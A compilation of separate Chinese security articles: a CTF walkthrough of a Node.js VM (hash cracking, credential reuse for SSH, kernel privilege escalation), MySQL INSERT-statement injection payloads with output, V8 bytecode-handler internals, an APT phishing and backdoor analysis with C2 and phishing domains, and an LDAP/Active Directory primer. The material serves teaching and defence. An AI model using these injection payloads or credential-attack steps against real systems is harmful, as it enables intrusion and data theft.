靶机的环境:处于nat网络的vm虚拟机中
## 实战
首先知道靶机的Ip地址
这里提供两种办法给大家
第一种是使用 `arp-scan -l` 获取局域网内其他主机
第二种是使用 `nmap 192.168.138.0/24`扫描
最后得到我们的目标主机的ip地址是 `192.168.138.137`
按照惯例我们使用`nmap -A 192.168.138.137` 获取详细信息
扫描结果发现目标开启了 22 ssh端口 和 3000端口
对node.js稍有了解的都知道 3000是node.js的默认端口
访问`192.168.138.137:3000`
欢迎界面如上
发现右上角的 LOGIN 蛮惹眼de
于是乎 尝试 `admin admin`
结果当然是想当然
继续打开控制带看一下
发现这个网站的 js 文件命名有点意思
于是逐一审计 发现了一些可疑路劲
尝试访问`http://192.168.138.137:3000/api/users/latest`后得到以下信息
这岂不是把账户密码爆出来了呀 只不过密码是经过加密的
这是看到最后的 `latest`有点意思 不如把它去掉
再次访问 发现得到了一个管理员用户
而首先我们要破解密码 可以使用kali虚拟机自带的工具
`hash-identifer` 来识别
最后再使用一个在线的解密网站
<http://md5decrypt.net/>
得到密码是 `manchester`
登录后发现 可以下载网站备份
尝试以base64解码后压缩包打开 提示需要密码
这个时候我们可以使用kali自带的工具
`fcrackzip`进行破解
通过字典猜解出密码为magicword
打开后如图这是网站的目录
对于node.js而言我们首先要基本熟悉他的构架
<https://www.cnblogs.com/Chen-xy/p/4466351.html>
其中 app.js：项目入口及程序启动文件。
那我们先从这里开始
const express = require('express');
const session = require('express-session');
const bodyParser = require('body-parser');
const crypto = require('crypto');
const MongoClient = require('mongodb').MongoClient;
const ObjectID = require('mongodb').ObjectID;
const path = require("path");
const spawn = require('child_process').spawn;
const app = express();
const url = 'mongodb://mark:5AYRft73VtFpc84k@localhost:27017/myplace?authMechanism=DEFAULT&authSource=myplace';
const backup_key = '45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474';
这里发现了一个Node.js 连接 MongoDB 的操作
[Node.js连接MongoDB](http://www.runoob.com/nodejs/nodejs-mongodb.html)
这个mongodb实例指向localhost，所以很可能这些凭证也适合ssh访问
尝试一波
`ssh [email protected]`
成功登录 查看系统信息
mark@node:~$ uname -a
Linux node 4.4.0-93-generic #116-Ubuntu SMP Fri Aug 11 21:17:51 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
接下来是提权操作
我们可以使用`searchspolit` 查找漏洞或者网上找下 exp
如图 那我们就开始利用吧
用scp命令 `scp是 secure copy的缩写, scp是linux系统下基于ssh登陆进行安全的远程文件拷贝命令。`
把我们的exp上传到靶机
这里我们采用 [Linux Kernel < 4.4.0-116 (Ubuntu 16.04.4) - Local Privilege Escalation
](http://www.vfocus.net/art/20180320/14326.html)
把代码copy到tmp文件下然后编译执行即可 | 社区文章 |
### 1.有回显注入
int型注入点和字符型都采用按位或`|`和按位异或`^`获取数据。
如果拼接的值为0，可以采用按位或`|`运算显示查询到的数据,如果拼接的值不是0（以100为例），可以采用按位异或`^`运算显示运算后的数据,然后再异或一次可以恢复查询的数据。
**注意查询到的数据经过hex转换，如果值大于Mysql bigint
最大值9223372036854775807时，获取到的数据均为9223372036854775807，此时要用substr等分段获取数据。**
#int型按位或
mysql> insert into ctf values (0 | (select hex(database())),'0','test','0');
Query OK, 1 row affected, 1 warning (0.03 sec)
mysql> select * from ctf;
+----------+----------+-----------+------+
| userid | username | signature | mood |
+----------+----------+-----------+------+
| 74657374 | 0 | test | 0 |
+----------+----------+-----------+------+
1 row in set (0.00 sec)
mysql> select unhex(74657374);
+-----------------+
| unhex(74657374) |
+-----------------+
| test |
+-----------------+
1 row in set (0.00 sec)
#int型按位异或
mysql> insert into ctf values (100 ^ (select hex(database())),'0','test','0');
Query OK, 1 row affected, 1 warning (0.03 sec)
mysql> select * from ctf;
+----------+----------+-----------+------+
| userid | username | signature | mood |
+----------+----------+-----------+------+
| 74657338 | 0 | test | 0 |
+----------+----------+-----------+------+
1 row in set (0.00 sec)
mysql> select unhex(100^74657338);
+---------------------+
| unhex(100^74657338) |
+---------------------+
| test |
+---------------------+
1 row in set (0.00 sec)
#字符型按位或
mysql> insert into ctf values (100 ,'0'| (select hex(database())) ,'test','0');
Query OK, 1 row affected (0.02 sec)
mysql> select * from ctf;
+--------+----------+-----------+------+
| userid | username | signature | mood |
+--------+----------+-----------+------+
| 100 | 74657374 | test | 0 |
+--------+----------+-----------+------+
1 row in set (0.00 sec)
mysql> select unhex(74657374);
+-----------------+
| unhex(74657374) |
+-----------------+
| test |
+-----------------+
1 row in set (0.00 sec)
#字符型按位异或
mysql> insert into ctf values (100 ,'100' ^ (select hex(database())) ,'test','0');
Query OK, 1 row affected (0.03 sec)
mysql> select * from ctf;
+--------+----------+-----------+------+
| userid | username | signature | mood |
+--------+----------+-----------+------+
| 100 | 74657338 | test | 0 |
+--------+----------+-----------+------+
1 row in set (0.00 sec)
mysql> select unhex('100'^74657338);
+-----------------------+
| unhex('100'^74657338) |
+-----------------------+
| test |
+-----------------------+
1 row in set (0.00 sec)
**同理可以使用其他可进行逆运算的运算符(`+,-,*,/`)获取查询数据,由于逻辑运算后的结果只有1或者0，所以`or,||,xor,&&,and`直接不能用于数据回显的注入情况。**
### 2.时间盲注
#### int型时间盲注点
可以使用 `and,&&,or,||,xor`拼接sql代码。 **如下可以看出and,
&&前面的int值不能为0;or,||前面的int值不能为1;而xor对前面int的值没有要求，所以推荐使用xor**
mysql> insert into ctf values (0 && sleep(2),'test','test','0');
Query OK, 1 row affected (0.03 sec)
mysql> insert into ctf values (1 && sleep(2),'test','test','0');
Query OK, 1 row affected (2.02 sec)
mysql> insert into ctf values (0 || sleep(2),'test','test','0');
Query OK, 1 row affected (2.03 sec)
mysql> insert into ctf values (1 || sleep(2),'test','test','0');
Query OK, 1 row affected (0.02 sec)
mysql> insert into ctf values (0 xor sleep(2),'test','test','0');
Query OK, 1 row affected (2.09 sec)
mysql> insert into ctf values (1 xor sleep(2),'test','test','0');
Query OK, 1 row affected (2.01 sec)
int型注入点，也可以使用四则运算：`+,-,*,/`。
mysql> insert into ctf values (0+sleep(2),'test','test','0');
Query OK, 1 row affected (2.04 sec)
mysql> insert into ctf values (0-sleep(2),'test','test','0');
Query OK, 1 row affected (2.05 sec)
mysql> insert into ctf values (0*sleep(2),'test','test','0');
Query OK, 1 row affected (2.03 sec)
mysql> insert into ctf values (0/sleep(2),'test','test','0');
Query OK, 1 row affected (2.02 sec)
此外还能使用位运算`&,|`
mysql> insert into ctf values (0&sleep(2),'test','test','0');
Query OK, 1 row affected (2.02 sec)
mysql> insert into ctf values (0|sleep(2),'test','test','0');
Query OK, 1 row affected (2.02 sec)
#### 字符型时间盲注点
可以使用：`or,||,xor,+,-,*,/,|,&`, **字符型在进行逻辑运算时会当做0,不能使用`&&,and`**。
mysql> insert into ctf values (0,'test' and sleep(2),'test','0');
Query OK, 1 row affected, 1 warning (0.03 sec)
mysql> insert into ctf values (0,'test' && sleep(2),'test','0');
Query OK, 1 row affected, 1 warning (0.03 sec)
mysql> insert into ctf values (0,'test' || sleep(2),'test','0');
Query OK, 1 row affected, 1 warning (2.03 sec)
mysql> insert into ctf values (0,'test'or sleep(2),'test','0');
Query OK, 1 row affected, 1 warning (2.03 sec)
mysql> insert into ctf values (0,'test'xor sleep(2),'test','0');
Query OK, 1 row affected, 1 warning (2.02 sec)
mysql> insert into ctf values (0,'test'| sleep(2),'test','0');
Query OK, 1 row affected, 1 warning (2.03 sec)
mysql> insert into ctf values (0,'test'& sleep(2),'test','0');
Query OK, 1 row affected, 1 warning (2.03 sec)
mysql> insert into ctf values (0,'test'+ sleep(2),'test','0');
Query OK, 1 row affected, 1 warning (2.06 sec)
mysql> insert into ctf values (0,'test'- sleep(2),'test','0');
Query OK, 1 row affected, 1 warning (2.02 sec)
mysql> insert into ctf values (0,'test'* sleep(2),'test','0');
Query OK, 1 row affected, 1 warning (2.02 sec)
mysql> insert into ctf values (0,'test'/ sleep(2),'test','0');
Query OK, 1 row affected, 1 warning (2.02 sec) | 社区文章 |
# 《Chrome V8源码》26.Bytecode Handler，字节码的核心
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 1 摘要
本篇文章是Builtin专题的第二篇，讲解Bytecode Handler的初始化过程以及相关数据结构。Bytecode
handler是采用CAS方式编写的Builtin，它实现了Bytecode的功能，每一条Bytecode对应一条Bytecode
handler。本文内容组织方法：Bytecode handler介绍（章节2）；Bytecode Handler初始化（章节3）。
## 2 Bytecode Handler介绍
Bytecode
handler的地址保存在Dispatch_table数组中，Dispatch_table保存在Isolate中。每一条Bytecode执行完毕后通过Dispatch_table找到下一条Bytecode并完成跳转。Bytecode
handler的源码在interpreter-generator.cc文件中，其中Star和Mov的源码如下：
1. // Store accumulator to register <dst>.
2. IGNITION_HANDLER(Star, InterpreterAssembler) {
3. TNode<Object> accumulator = GetAccumulator();
4. StoreRegisterAtOperandIndex(accumulator, 0);
5. Dispatch();
6. }
7. // Mov <src> <dst>
8. //
9. // Stores the value of register <src> to register <dst>.
10. IGNITION_HANDLER(Mov, InterpreterAssembler) {
11. TNode<Object> src_value = LoadRegisterAtOperandIndex(0);
12. StoreRegisterAtOperandIndex(src_value, 1);
13. Dispatch();
14. }
上述代码中，`Dispatch()`利用Isolate读取Dispatch_table并跳转到下一条指令。
## 3 Bytecode Handler初始化
Bytecode handler是用CodeStubAssembler编写的Builtin。第一个Isolate创建时，Bytecode
handler完成初始化并存储在dispatch_table中，后续创建新的Isoalte时无需再做初始化，只需要拷贝即可。
Bytecode Handler初始化的入口源码如下：
1. void SetupIsolateDelegate::SetupBuiltinsInternal(Isolate* isolate) {
2. Builtins* builtins = isolate->builtins();
3. int index = 0;
4. Code code;
5. //...........省略............................
6. #define BUILD_BCH(Name, OperandScale, Bytecode) \
7. code = GenerateBytecodeHandler(isolate, index, OperandScale, Bytecode); \
8. AddBuiltin(builtins, index++, code);
9. BUILTIN_LIST(BUILD_CPP, BUILD_TFJ, BUILD_TFC, BUILD_TFS, BUILD_TFH, BUILD_BCH,
10. BUILD_ASM);
11. //.........省略............................
12. }
`BUILD_BCH`、`BUILTIN_LIST`和`GenerateBytecodeHandler()`共同完成所有Bytecode
handler的创建，`GenerateBytecodeHandler()`源码如下：
Code GenerateBytecodeHandler(Isolate* isolate, int builtin_index,
interpreter::OperandScale operand_scale,
interpreter::Bytecode bytecode) {
DCHECK(interpreter::Bytecodes::BytecodeHasHandler(bytecode, operand_scale));
Handle<Code> code = interpreter::GenerateBytecodeHandler(
isolate, Builtins::name(builtin_index), bytecode, operand_scale,
builtin_index, BuiltinAssemblerOptions(isolate, builtin_index));
return *code;
}
上述代码中`Builtins::name(builtin_index)`获取Bytecode的名字，源码如下：
const char* Builtins::name(int index) {
DCHECK(IsBuiltinId(index));
return builtin_metadata[index].name;
}
//................分隔线.......................
#define DECL_CPP(Name, ...) \
{#Name, Builtins::CPP, {FUNCTION_ADDR(Builtin_##Name)}},
#define DECL_TFJ(Name, Count, ...) {#Name, Builtins::TFJ, {Count, 0}},
#define DECL_TFC(Name, ...) {#Name, Builtins::TFC, {}},
#define DECL_TFS(Name, ...) {#Name, Builtins::TFS, {}},
#define DECL_TFH(Name, ...) {#Name, Builtins::TFH, {}},
#define DECL_BCH(Name, OperandScale, Bytecode) \
{#Name, Builtins::BCH, {Bytecode, OperandScale}},
#define DECL_ASM(Name, ...) {#Name, Builtins::ASM, {}},
const BuiltinMetadata builtin_metadata[] = {BUILTIN_LIST(
DECL_CPP, DECL_TFJ, DECL_TFC, DECL_TFS, DECL_TFH, DECL_BCH, DECL_ASM)};
上述代码中`builtin_metadata`数组保存每一条Bytecode的名字、类型和地址指针。如图1中所示，1075号Builtin的名字是DebugBreak0Handler，类型是BCH（Bytecode
handler）,函数地址是data。
在`Code
GenerateBytecodeHandler()`中调用`interpreter::GenerateBytecodeHandler()`，源码如下：
1. Handle<Code> GenerateBytecodeHandler(Isolate* isolate, const char* debug_name,
2. Bytecode bytecode,
3. OperandScale operand_scale,
4. int builtin_index,
5. const AssemblerOptions& options) {
6. Zone zone(isolate->allocator(), ZONE_NAME);
7. compiler::CodeAssemblerState state(
8. isolate, &zone, InterpreterDispatchDescriptor{}, Code::BYTECODE_HANDLER,
9. debug_name,
10. FLAG_untrusted_code_mitigations
11. ? PoisoningMitigationLevel::kPoisonCriticalOnly
12. : PoisoningMitigationLevel::kDontPoison,
13. builtin_index);
14. switch (bytecode) {
15. #define CALL_GENERATOR(Name, ...) \
16. case Bytecode::k##Name: \
17. Name##Assembler::Generate(&state, operand_scale); \
18. break;
19. BYTECODE_LIST(CALL_GENERATOR);
20. #undef CALL_GENERATOR
21. }
22. Handle<Code> code = compiler::CodeAssembler::GenerateCode(&state, options);
23. return code;
24. }
上述代码中，`Bytecode bytecode`是枚举变量，源码如下：
// Enumeration of interpreter bytecodes.
enum class Bytecode : uint8_t {
#define DECLARE_BYTECODE(Name, ...) k##Name,
BYTECODE_LIST(DECLARE_BYTECODE)
#undef DECLARE_BYTECODE
#define COUNT_BYTECODE(x, ...) +1
// The COUNT_BYTECODE macro will turn this into kLast = -1 +1 +1... which will
// evaluate to the same value as the last real bytecode.
kLast = -1 BYTECODE_LIST(COUNT_BYTECODE)
#undef COUNT_BYTECODE
};
`GenerateBytecodeHandler()`的第14行代码：根据`bytecode`的类型执行对应的`case`以完成Bytecode
handler的初始化。`BYTECODE_LIST`源码如下：
// The list of bytecodes which are interpreted by the interpreter.
// Format is V(<bytecode>, <accumulator_use>, <operands>).
#define BYTECODE_LIST(V) \
/* Extended width operands */ \
V(Wide, AccumulatorUse::kNone) \
V(ExtraWide, AccumulatorUse::kNone) \
\
/* Debug Breakpoints - one for each possible size of unscaled bytecodes */ \
/* and one for each operand widening prefix bytecode */ \
V(DebugBreakWide, AccumulatorUse::kReadWrite) \
V(DebugBreakExtraWide, AccumulatorUse::kReadWrite) \
V(DebugBreak0, AccumulatorUse::kReadWrite) \
V(DebugBreak1, AccumulatorUse::kReadWrite, OperandType::kReg) \
V(DebugBreak2, AccumulatorUse::kReadWrite, OperandType::kReg, \
OperandType::kReg) \
V(DebugBreak3, AccumulatorUse::kReadWrite, OperandType::kReg, \
OperandType::kReg, OperandType::kReg) \
//省略...................................
//.................................分隔线.......................................
switch (bytecode) {
case Bytecode::kWide: \
WideAssembler::Generate(&state, operand_scale); \
break;
case Bytecode::kLdaSmi: \
LdaSmiAssembler::Generate(&state, operand_scale); \
break;
//省略...................................
}
通过展开`kWide`和`KLdaSmi`可以看到各自的生成函数，图2给出了此时的调用堆栈。
下面讲解`LdaSmi`的初始化，`LdaSmi`的初始化函数由宏`IGNITION_HANDLER`和`IGNITION_HANDLER(LdaSmi,
InterpreterAssembler)`共同组成，展开后的源码如下：
1. class LdaSmiAssembler : public InterpreterAssembler {
2. public:
3. explicit LdaSmiAssembler(compiler::CodeAssemblerState* state,
4. Bytecode bytecode, OperandScale scale)
5. : InterpreterAssembler(state, bytecode, scale) {}
6. static void Generate(compiler::CodeAssemblerState* state,
7. OperandScale scale);
8. private:
9. void GenerateImpl();
10. DISALLOW_COPY_AND_ASSIGN(LdaSmiAssembler);
11. };
12. void LdaSmiAssembler::Generate(compiler::CodeAssemblerState* state,
13. OperandScale scale) {
14. LdaSmiAssembler assembler(state, Bytecode::kLdaSmi, scale);
15. state->SetInitialDebugInformation("LdaSmi", __FILE__, __LINE__);
16. assembler.GenerateImpl();
17. }
18. void LdaSmiAssembler::GenerateImpl(){
19. TNode<Smi> smi_int = BytecodeOperandImmSmi(0);
20. SetAccumulator(smi_int);
21. Dispatch();
22. }
上述代码满足`case
Bytecode::kLdaSmi`条件，执行第12行代码`Generate()`;在`Generate()`中调用`GenerateImpl()`（第18行代码）;第19行代码生成小整数`smi_int`;第20行代码把`smi_int`存入累加寄存器。第1行代码`InterpreterAssembler`的父类`InterpreterAssembler`实现了很多Bytecode
handler的基础功能，源码如下：
TNode<Object> InterpreterAssembler::GetAccumulator() {
DCHECK(Bytecodes::ReadsAccumulator(bytecode_));
accumulator_use_ = accumulator_use_ | AccumulatorUse::kRead;
return TaggedPoisonOnSpeculation(GetAccumulatorUnchecked());
}
//分隔线.................................
void InterpreterAssembler::SetAccumulator(SloppyTNode<Object> value) {
DCHECK(Bytecodes::WritesAccumulator(bytecode_));
accumulator_use_ = accumulator_use_ | AccumulatorUse::kWrite;
accumulator_ = value;
}
//分隔线.................................
TNode<ExternalReference> InterpreterAssembler::DispatchTablePointer() {
if (Bytecodes::MakesCallAlongCriticalPath(bytecode_) && made_call_ &&
(dispatch_table_.value() ==
Parameter(InterpreterDispatchDescriptor::kDispatchTable))) {
dispatch_table_ = ExternalConstant(
ExternalReference::interpreter_dispatch_table_address(isolate()));
}
return dispatch_table_.value();
}
上述代码中`GetAccumulator()`获取累加器的值；`SetAccumulator`设置累加器的值；`DispatchTablePointer()`获取dispatch
_table_ 的地址；这些函数的源码在interpreter-assembler.cc文件中。
**技术总结**
**（1）** 调试Bytecode handler的方法是在`Code GenerateBytecodeHandler()`中设置断点;
**（2）** Bytecode在宏BYTECODE _LIST中的位置是Bytecode的编号index，index是Bytecode
handler在dispatch_table_ 中的下标；
**（3）** `InterpreterAssembler`中定义了Bytecode
handler的底层功能，`CodeAssembler`中定义了更底层的原子操作。
好了，今天到这里，下次见。
**个人能力有限，有不足与纰漏，欢迎批评指正**
**微信：qq9123013 备注：v8交流 邮箱：[[email protected]](mailto:[email protected])** | 社区文章 |
# 疑似蔓灵花APT团伙钓鱼邮件攻击分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 背景
近期，360安全监测与响应中心协助用户处理了多起非常有针对性的邮件钓鱼攻击事件，发现了客户邮件系统中大量被投递的钓鱼邮件，被攻击的企业局限于某个重要敏感的行业。360威胁情报中心与360安全监测与响应中心在本文中对本次的钓鱼邮件攻击活动的过程与细节进行揭露，希望企业组织能够引起重视采取必要的应对措施。
## 钓鱼攻击过程
### 钓鱼骗取企业内某用户邮箱密码
上个月某一天，某敏感工业企业邮箱用户收到一份发自mailservicegroup[@]126.com的钓鱼邮件，钓鱼邮件仿冒企业的信息技术中心通知目标用户，声称其邮件账户登录异常，并提示通过“安全链接”验证邮件账户：
如果用户访问了该链接会被攻击者收集邮箱用户名以及密码，钓鱼页面观感上与企业的邮箱登录页面高度一致，如果不仔细看对应的URL非常容易上钩。相关钓鱼链接：
mail.[被钓鱼企业域名].cn.url.cpasses.char.encoding-http-blog.index.frontend.jtjs.subdomain.alert.check.random-security.018745ssss.url.0j0i67k1j0i131k1j0i20i263k1.0.yqzbceh5jue.enc.http.checksum.webaccess.alert.check.verify.fozanpharma.com
### 通过骗取的用户邮箱账号向其它用户发送带有病毒附件的邮件
随后，攻击者会利用收集到的企业邮箱账户向企业内其他用户发送带有病毒附件的邮件，并诱导用户执行病毒附件。由于使用了钓鱼获取的真实企业邮箱账户，看起来来源可信的邮件非常容易导致其它企业邮箱用户被诱导执行恶意附件。
攻击者分别发送伪装成Office Word文档图标和JPG图片的两个病毒样本，并在文件名中加入大量空格以防止目标用户发现文件后缀，从而诱导用户打开执行：
实际上为可执行程序：
## 恶意代码分析
### 恶意附件分析
伪装为Office Word文档和JPG图片的病毒附件最终释放执行相同的木马后门，我们选择伪装为Office Word文档的样本进行分析：
病毒附件Technical Points for
review.exe是使用WinRAR生成的自解压程序，该自解压程序的运行逻辑为：在C:\intel\logs目录下释放mobisynce.exe及一个与样本相同名称的正常Office
Word文档，然后执行EXE病毒文件同时打开Office Word文档以迷惑受攻击者：
病毒附件执行逻辑：
打开的诱饵文档内容：
### mobisynce.exe分析
伪装成Office
Word文档的病毒程序最终会在C:\intel\logs目录下释放执行mobisynce.exe，mobisynce.exe运行后首先会对程序中的加密字符串通过与单字节秘钥相加解密出需要使用的字符串：
紧接着查找当前进程列表名中是否有包含”avg”字符串的进程来判断是否存在avg相关的杀毒软件：
如果不存在与avg相关的杀软进程，则创建新线程，并在该线程中判断是否存在注册表启动项“HKCU\Software\Microsoft\Windows\CurrentVersion\Run\igfxmsw”，以此避免重复执行后续的后门功能，如果不存在该注册表项，则创建后门进程并通过管道的方式接收执行后续的攻击者指令：
创建注册表启动项“HKCU\Software\Microsoft\Windows\CurrentVersion\Run\igfxmsw”，并设置mobisynce.exe为自启动：
最后，mobisynce.exe尝试连接C&C控制服务器：wingames2015.com
如果连接成功则开始搜集系统信息并拼装成HTTP GET请求，发送到C&C服务器的ldtvtvqs/accept.php?页面：
发送的受害主机信息：
GET请求中的各参数含义：
最后，mobisynce.exe会循环监听执行后门命令，具体逻辑为当C&C服务器向木马发送含有”Yes
file”字符串的指令时，木马会在指令中提取”[”与”]”中间的命令，并通过ShellExcuteA函数执行该命令：
根据360网络研究院的大网数据，对于wingames2015.com
C&C域名访问在2018年1月3日达到过一个高峰，暗示在这个时间点攻击者曾经发动过一大波攻击：
## 溯源和关联
### 钓鱼URL域名信息
钓鱼链接根域名： fozanpharma.com
IP地址： 104.219.248.10
IP归属地：美国亚利桑那州凤凰城
域名创建时间：2017-09-22 14:57:32
域名过期时间：2018-09-22 14:57:32
域名更新时间：2017-09-22 14:57:33
### fozanpharma.com下的其它钓鱼链接
经过后期关联分析，360威胁情报中心与360安全监测与响应中心发现同一域名下针对我国其他三个组织机构的钓鱼邮箱链接：
### 与蔓灵花APT团伙的关联分析
360公司曾在2016年11月发布了《中国再次发现来自海外的黑客攻击：蔓灵花攻击行动》（详见参考资料[1]），360威胁情报中心随后发现，伪装为JPG图片的病毒样本所释放的诱饵图片文件也被披露的蔓灵花APT组织使用过：
并且在后门程序mobisynce.exe中使用的查找avg杀软的相关代码片段与蔓灵花APT组织使用的恶意代码中的代码片段也高度一致：
考虑到我们在背景描述中描述的攻击者动机等因素，我们推测本次的攻击者或与蔓灵花APT团伙可能相关，但目前来看证据还不够充分，希望安全社区来共同完善拼图。
## 总结
从此次攻击者实施的钓鱼邮件攻击来看，攻击者显然尝试利用受害企业员工对信息安全的重视（提示用户邮箱登录异常），并使用最简单的欺骗手法尝试收集员工企业邮箱的用户名密码，再利用正规企业用户邮箱的信任关系发动第二次钓鱼攻击，希望渗透企业员工的计算机系统以获取了相关敏感信息。
360安全监测与响应中心再次提醒各企业用户，加强员工的安全意识培训是企业信息安全建设中最重要的一环，如有需要，企业用户可以建设态势感知，完善资产管理及持续监控能力，并积极引入威胁情报，以尽可能防御此类攻击。
## IOC
参考资料
[1] <https://www.anquanke.com/post/id/84910> | 社区文章 |
# Windows内网协议学习LDAP篇之Active Directory简介
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者: daiker@360RedTeam
## 0x00 前言
这是LDAP篇的第一篇文章。在域渗透中，可能大家对Active Directory，LDAP，Naming
Context这些概念既熟悉又模糊，比如Active Directory跟LDAP有啥关系等等。在LDAP篇，我们将系统地介绍跟Active
Directory相关的方方面面。第一篇文章主要介绍一些基本概念，让大家对整个Active
Directory有个基本印象。在之后的文章里面会陆续介绍Active Directory相关的方方面面。包括但不限于。
* 域内用户介绍
* 域内组介绍
* 域内ACL介绍
* 域信任关系介绍
* 组策略介绍
这篇文章对一些专业词汇统一保留英文
## 0x01 LDAP简介
LDAP全称是Lightweight Directory Access
Protocol，轻量目录访问协议。顾名思义，LDAP是设计用来访问目录数据库的一个协议。
在这之前我们先介绍一下目录服务。目录数据库是由目录服务数据库和一套访问协议组成。
目录服务数据库也是一种数据库，这种数据库相对于我们熟知的关系型数据库(比如MySQL,Oracle),主要有以下几个方面的特点。
1. 它成树状结构组织数据，类似文件目录一样。
2. 它是为查询、浏览和搜索而优化的数据库，也就是说LDAP的读性能特别强，但是写性能差，而且还不支持事务处理、回滚等复杂功能。
为了能够访问目录数据库，必须设计一台能够访问目录服务数据库的协议，LDAP是其中一种实现协议。
为了方便大家理解下面举个例子来介绍一些LDAP相关的东西。
如上图所示是目录服务数据库，它成树状结构组织数据。下面介绍一些基本概念
1. 目录树：如上图所示，在一个目录服务系统中，整个目录信息集可以表示为一个目录信息树，树中的每个节点是一个条目。
2. 条目：每个条目就是一条记录，每个条目有自己的唯一可区别的名称（DN）。比如图中的每个圆圈都是一条记录。
3. DN,RDN:比如说第一个叶子条目，他有一个唯一可区分的名称DN:uid=bob,ou=people,dc=acme,dc=org。类似于文件目录的相对路径绝对路径，他除了有个DN之外，还有个RDN，他与目录结构无关，比如之前咱们提过的uid=bob,ou=people,dc=acme,dc=org，他的RDN就是uid=bob
4. 属性：描述条目具体信息。比如`uid=bill,ou=people,dc=acme,dc=org，他有属性name 为bill，属性age为11，属性school 为xx。
## 0x02 Active Directory简介
不同厂商对目录服务数据库的实现不一，常见的如下实现。
可以看出Active Directory，是微软的对目录服务数据库的实现，而LDAP是设计用来对目录服务数据库(在这里的实现就是微软的Active
Directory)的访问的协议。Active Directory存储着整个域内所有的计算机，用户等的所有信息。
如果我们想访问域内的Active Directory，有两种办法
1. 域内的每一台域控都有一份完整的本域的Active Directory，可以通过连接域控的389/636端口(636端口是LDAPS)来进行连接查看修改。
2. 如果用户知道某个对象处于哪个域，也知道对象的标识名，那么通过上面第一种方式搜索对象就非常容易。但是考虑到这种情况，不知道对象所处的域，我们不得不去域林中的每个域搜索。为了解决这个问题，微软提出全局编录服务器(GC，Global Catalog)， 全局编录服务器中除了保存本域中所有对象的所有属性外，还保存林中其它域所有对象的部分属性，这样就允许用户通过全局编录信息搜索林中所有域中对象的信息。也就是说如果需要在整个林中进行搜索，而不单单是在具体的某个域进行搜索的时候，可以连接域控的3268/3269端口。
## 0x03 Naming Context和Application Partitions
之前的内容都是在讲Active Directory的基本概念，接下来我们来具体的探究下Active Directory具体有啥东西。
### Naming Context
首先有一点得明确，Active Directory具有分布式特性，一个林中有若干个域，每个域内有若干台域控，每台域控有一个独立的Active
Directory。这个时候就有必要将数据隔离到多个分区中，如果不隔离的话，则每个域控制器都必须复制林中的所有数据。若隔离为若干个分区之后，就可以有选择性的复制某几个分区。微软将Active
Directory划分为若干个分区(这个分区我们称为Naming Context，简称NC)，每个Naming Context都有其自己的安全边界。
Active Directory预定义了三个Naming Context
* Configuration NC(Configuration NC)
* Schema NC(Schema NC)
* Domain NC(DomainName NC)
我们使用ADExplorer连接进来就可以看到这三个(后面两个是引用程序分区，后面会讲)
我们来简单的介绍下这三个Naming Context
1. Configuration NC(Configuration NC)
配置NC,林配置信息的主要存储库，包含有关站点，服务，分区和Active DirectorySchema
的信息，并被复制到林中的每个域控制器。配置NC的根位于配置容器中，该容器是林根域的子容器。例如，test.local林将为CN=Configuration,DC=test,DC=local
下面我们来看看这个Naming Context的顶级容器有哪些。
RDN | 说明
---|---
CN=DisplaySpecifiers | 定义了Active Directory管理单元的各种显示格式
CN=Extended-Rights | 扩展权限对象的容器，我们将在域内ACL那篇文章里面详解
CN=ForestUpdates | 包含用于表示森林状态和与域功能级别更改的对象
CN=Partitions | 包含每个Naming Context，Application Partitions以及外部LDAP目录引用的对象
CN=Physical Locations | 包含位置对象，可以将其与其他对象关联 以表示该对象的位置。
CN=Services | 存储有关服务的配置信息，比如文件复制服务
CN=Sites | 包含所有站点拓扑和复制对象
CN=WellKnown Security Principals | 包含常用的外部安全性主题的对象，比如Anonymous，Authenticated
Users，Everyone等等
2. Schema NC(Schema NC)
包含Schema 信息，该Schema 信息定义Active Directory中使用的类，对象和属性。与域NC和配置 NC 不同，模式 NC
不维护容器或组织单位的层次结构。相反，它是具有 classSchema ，attributeSchema 和 subSchema
对象的单个容器。关于这个Naming Context的详细内容我们将在下一节里面详细讲。
3. Domain NC(DomainName NC)
每个域都有一个域Naming Context，不同的域内有不同的域Naming Context，其中包含特定于域的数据。这个域Naming
Context(的根由域的专有名称(DN)表示，比如corp.test.local域的DN将为dc=corp,dc=test,dc=local。之前我们说过，域内的所有计算机，所有用户的具体信息都存在Active
Directory底下，具体来说，就是在Active Directory的这个Naming Context里面。我们用工具查看的默认Naming
Context选的也是这个Naming Context。后面对域内很多东西的查看都在这个Naming Context里面。下面我们来看看这个Naming
Context的顶级容器有哪些。
RDN | 说明
---|---
CN=Builtin | 内置本地安全组的容器，包括管理员，域用户和账号操作员等等
CN=Computers | 机器用户的容器，包括加入域的所有机器
OU=Domain Controllers | 域控制器的容器，包括域内所有域控
CN=ForeignSecurityPrincipals | 代表域中来自森林外部域的组中的成员
CN=Keys | Server 2016之后才有，关键凭证对象的默认容器
CN=Managed Service Accounts | 托管服务帐户的容器。
CN=System | 各种预配置对象的容器。包括信任对象，DNS对象和组策略对象
CN=TPM Devices | 可信平台模块(TPM)密钥的恢复信息的容器。
CN=Users | 用户和组对象的默认容器
### Application Partitions
从 Windows Server 2003 开始，微软允许用户自定义分区来扩展Naming Context的概念。Application
Partitions其实就是Naming Context的一个扩展，它本质上还是属于Naming
Context。管理员可以创建分区(这个分区我们称为区域)，以将数据存储在他们选择的特定域控制器上，Application
Partitions主要有以下特点:
1. Naming Context是微软预定义的，用户不可以定义自己的Naming Context。而如果用户想要定义一个分区，可以通过Application Partitions。虽然微软也预置了两个Application Partitions，但是Application Partitions的设计更多是为了让用户可以自定义自己的数据。设计Application Partitions最大的用途就是，让用户自己来定义分区。
2. Application Partitions可以存储动态对象。动态对象是具有生存时间(TTL) 值的对象，该值确定它们在被Active Directory自动删除之前将存在多长时间。也就说Application Partitions可以给数据设置个TTL，时间一到，Active Directory就删除该数据。
下面演示通过ntdsutil创建Application Partitions:
创建成功
我们可以通过查看rootDSE查看域内的所有Naming Context以及Application
Partitions，在属性namingContexts里面。
## 0x05 Schema NC
Schema NC里面包含Schema 信息，定义了Active Directory中使用的类和属性。所以在详细讲Schema
NC之前我们先来讲一下LDAP里面的类和继承。
